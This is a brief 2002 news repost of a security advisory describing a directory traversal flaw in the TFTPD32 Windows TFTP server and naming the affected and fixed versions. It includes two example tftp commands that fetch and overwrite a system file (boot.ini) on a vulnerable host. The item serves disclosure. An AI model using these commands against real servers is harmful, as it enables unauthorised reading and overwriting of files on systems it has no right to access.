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Home » Hacking News » TFTPD32 Directory Traversal Vulnerability

TFTPD32 Directory Traversal Vulnerability

by Nikola Strahija on November 19th, 2002 Advisory available at:


; TFTPD32 is a Freeware TFTP server for
windows 9x/NT/XP. It provides an implementation of the TFTPv2 protocol
(specified in the RFC 1350).

A vulnerability in the product allows remote attackers to view any file
on the system as well as write to arbitrary locations.


Vulnerable systems:
* TFTP32 version 2.50.2 and prior

Immune systems:
* TFTP32 version 2.51

Getting files:
tftp host GET /boot.ini

Storing files:
tftp host PUT myfile /boot.ini


The information has been provided by
SecurITeam Experts.

Aviram Jenik
Beyond Security Ltd.

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